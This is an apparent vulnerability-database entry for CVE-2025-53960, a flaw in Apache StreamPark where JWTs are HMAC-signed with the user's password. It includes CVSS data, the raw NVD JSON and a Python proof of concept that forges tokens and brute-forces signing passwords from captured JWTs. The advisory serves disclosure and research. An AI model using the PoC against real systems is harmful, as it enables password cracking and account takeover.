Security Vulnerability Report
中文
CVE-2025-53960 CVSS 5.9 MEDIUM

CVE-2025-53960

Published: 2025-12-12 16:15:44
Last Modified: 2025-12-16 21:28:34

Description

When issuing JSON Web Tokens (JWT), Apache StreamPark directly uses the user's password as the HMAC signing key (e.g., with the HS256 algorithm). An attacker can exploit this vulnerability to perform offline brute-force attacks on the user's password using a captured JWT, or to arbitrarily forge identity tokens for the user if the password is already known, ultimately leading to complete account takeover. This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:streampark:*:*:*:*:*:*:*:* - VULNERABLE
Apache StreamPark >= 2.0.0, < 2.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-53960 PoC - Apache StreamPark JWT Password Brute Force This PoC demonstrates offline password brute force attack against JWT tokens signed with user's password as HMAC key. """ import hashlib import hmac import base64 import json import itertools import string from typing import Optional def base64url_decode(data: str) -> bytes: """Decode base64url encoded string""" padding = 4 - len(data) % 4 if padding != 4: data += '=' * padding return base64.urlsafe_b64decode(data) def base64url_encode(data: bytes) -> str: """Encode bytes to base64url string""" return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii') def sign_payload(secret: str, header: dict, payload: dict) -> str: """Create HMAC-SHA256 signature using password as key""" header_b64 = base64url_encode(json.dumps(header, separators=(',', ':')).encode()) payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':')).encode()) message = f"{header_b64}.{payload_b64}".encode() signature = hmac.new(secret.encode(), message, hashlib.sha256).digest() return base64url_encode(signature) def forge_jwt(username: str, password: str, claims: dict = None) -> str: """ Forge a valid JWT token if password is known """ header = {"alg": "HS256", "typ": "JWT"} payload = claims or { "sub": username, "iat": 1733961600, "exp": 1734048000, "iss": "Apache StreamPark" } signature = sign_payload(password, header, payload) header_b64 = base64url_encode(json.dumps(header, separators=(',', ':')).encode()) payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':')).encode()) return f"{header_b64}.{payload_b64}.{signature}" def brute_force_jwt(jwt_token: str, wordlist: list = None) -> Optional[str]: """ Attempt to brute force the password used to sign a JWT token """ parts = jwt_token.split('.') if len(parts) != 3: raise ValueError("Invalid JWT format") header_b64, payload_b64, signature_b64 = parts message = f"{header_b64}.{payload_b64}".encode() target_signature = base64url_decode(signature_b64) # Default wordlist for demonstration if wordlist is None: wordlist = ['admin', 'password', '123456', 'stream', 'spark', 'park'] for password in wordlist: computed_sig = hmac.new(password.encode(), message, hashlib.sha256).digest() if hmac.compare_digest(computed_sig, target_signature): print(f"[+] Password found: {password}") return password return None def main(): print("CVE-2025-53960 - Apache StreamPark JWT Password Attack PoC") print("=" * 60) # Example JWT token (replace with actual captured token) example_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5iZiI6MTczMzk2MTYwMCwiZXhwIjoxNzM0MDQ4MDAwLCJpc3MiOiJBcGFjaGUgU3RyZWFtUGFyayJ9.signature_here" # Demonstrate token forgery if password is known print("\n[1] Token Forgery Demo:") forged_token = forge_jwt("admin", "admin123") print(f"Forged token: {forged_token}") # Demonstrate password brute force print("\n[2] Password Brute Force Demo:") found_password = brute_force_jwt(example_jwt) if found_password: print(f"Successfully cracked password: {found_password}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53960", "sourceIdentifier": "[email protected]", "published": "2025-12-12T16:15:44.463", "lastModified": "2025-12-16T21:28:34.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When issuing JSON Web Tokens (JWT), Apache StreamPark directly uses the user's password as the HMAC signing key (e.g., with the HS256 algorithm). An attacker can exploit this vulnerability to perform offline brute-force attacks on the user's password using a captured JWT, or to arbitrarily forge identity tokens for the user if the password is already known, ultimately leading to complete account takeover.\n\n\n\n\n\n\n\nThis issue affects Apache StreamPark: from 2.0.0 before 2.1.7.\n\nUsers are recommended to upgrade to version 2.1.7, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1240"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:streampark:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.7", "matchCriteriaId": "18BD3C9F-61F6-4D68-B0E7-333A94F827ED"}]}]}], "references": [{"url": "https://lists.apache.org/thread/xlpvfzf5l5m5mfyjwrz5h4dssm3c32vy", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/04/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}